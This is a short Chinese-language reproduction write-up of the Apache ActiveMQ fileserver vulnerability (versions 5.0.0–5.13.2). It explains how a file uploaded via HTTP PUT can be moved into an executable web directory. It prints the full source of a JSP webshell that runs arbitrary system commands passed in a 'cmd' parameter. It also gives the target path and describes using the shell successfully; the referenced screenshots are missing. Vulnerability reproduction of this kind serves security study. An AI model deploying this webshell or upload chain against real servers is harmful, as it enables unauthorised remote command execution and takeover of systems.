漏洞说明
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
影响版本
Apache ActiveMQ 5.0.0 - 5.13.2
漏洞环境搭建
漏洞复现
浏览器访问ip:8161;如下图可以看出成功搭建
访问靶场:http://your-ip:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件,下图可以看出上传成功
jsp文件内容:
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
访问上传的文件不能被解析:http://ip:8161/fileserver/1.jsp
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中。
访问webshell(复现成功)